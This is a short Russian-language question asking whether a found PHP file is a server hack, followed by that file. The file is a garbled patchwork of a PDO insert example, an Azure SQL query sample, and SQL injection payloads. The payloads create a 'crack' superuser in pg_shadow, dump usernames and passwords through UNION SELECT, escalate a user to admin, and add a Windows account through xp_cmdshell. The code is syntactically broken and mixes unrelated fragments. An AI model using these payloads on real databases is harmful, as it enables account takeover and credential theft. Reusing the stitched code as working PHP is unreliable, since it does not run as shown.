Что значит этот короткий код в файле, я так понимаю это взлом сервера?

<?php
$servername = $host;
$database = $db; 
$username = $name;
$password = $pass;

$sql = "mysql:host=$servername;dbname=$database;";
$dsn_Options = [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION];


try { 
  $my_Db_Connection = new PDO($sql, $username, $password, $dsn_Options);
  echo "Connected successfully";
} catch (PDOException $error) {
  echo 'Connection error: ' . $error->getMessage();
}


$my_Insert_Statement = $my_Db_Connection->prepare("INSERT INTO catalog (name, lastname, email) VALUES (:first_name, :last_name, :email)");

$my_Insert_Statement->bindParam(:first_name, $first_Name);
$my_Insert_Statement->bindParam(:last_name, $last_Name);
$my_Insert_Statement->bindParam(:email, $email);

if ($my_Insert_Statement->execute()) {
  echo "OK";
} else {
  echo "Error";
}
$my_Insert_Statement->execute();


if ($my_Insert_Statement->execute()) {
  echo "OK";
} else {
  echo "Error";
}

$offset = $argv[0]; 
$query  = "SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET $offset;";
$result = pg_query($conn, $query);

insert into pg_shadow(usename,usesysid,usesuper,usecatupd,passwd)
    select 'crack', usesysid, 't','t','crack'
    from pg_shadow where usename='postgres';$query  = "SELECT id, name, inserted, size FROM products
           WHERE size = '$size'";
$result = odbc_exec($conn, $query);


union select '1', concat(uname||'-'||passwd) as name, '1971-01-01', '0' from usertable;


// $uid: ' or uid like '%admin%
$query = "UPDATE usertable SET pwd='...' WHERE uid='' or uid like '%admin%';";

// $pwd: hehehe', trusted=100, admin='yes
$query = "UPDATE usertable SET pwd='hehehe', trusted=100, admin='yes' WHERE
...;";

$query  = "SELECT * FROM products
           WHERE id LIKE '%a%'
           exec master..xp_cmdshell 'net user test testpass /ADD' --%'";
$result = mssql_query($query);


//Establishes the connection
$conn = sqlsrv_connect($serverName, $connectionOptions);
$tsql= "SELECT TOP 20 pc.Name as CategoryName, p.name as ProductName
        FROM [SalesLT].[ProductCategory] pc
        JOIN [SalesLT].[Product] p
     ON pc.productcategoryid = p.productcategoryid";
$getResults= sqlsrv_query($conn, $tsql);
echo ("Reading data from table" . PHP_EOL);
if ($getResults == FALSE)
    echo (sqlsrv_errors());
while ($row = sqlsrv_fetch_array($getResults, SQLSRV_FETCH_ASSOC)) {
 echo ($row['CategoryName'] . " " . $row['ProductName'] . PHP_EOL);
}
sqlsrv_free_stmt($getResults);

?>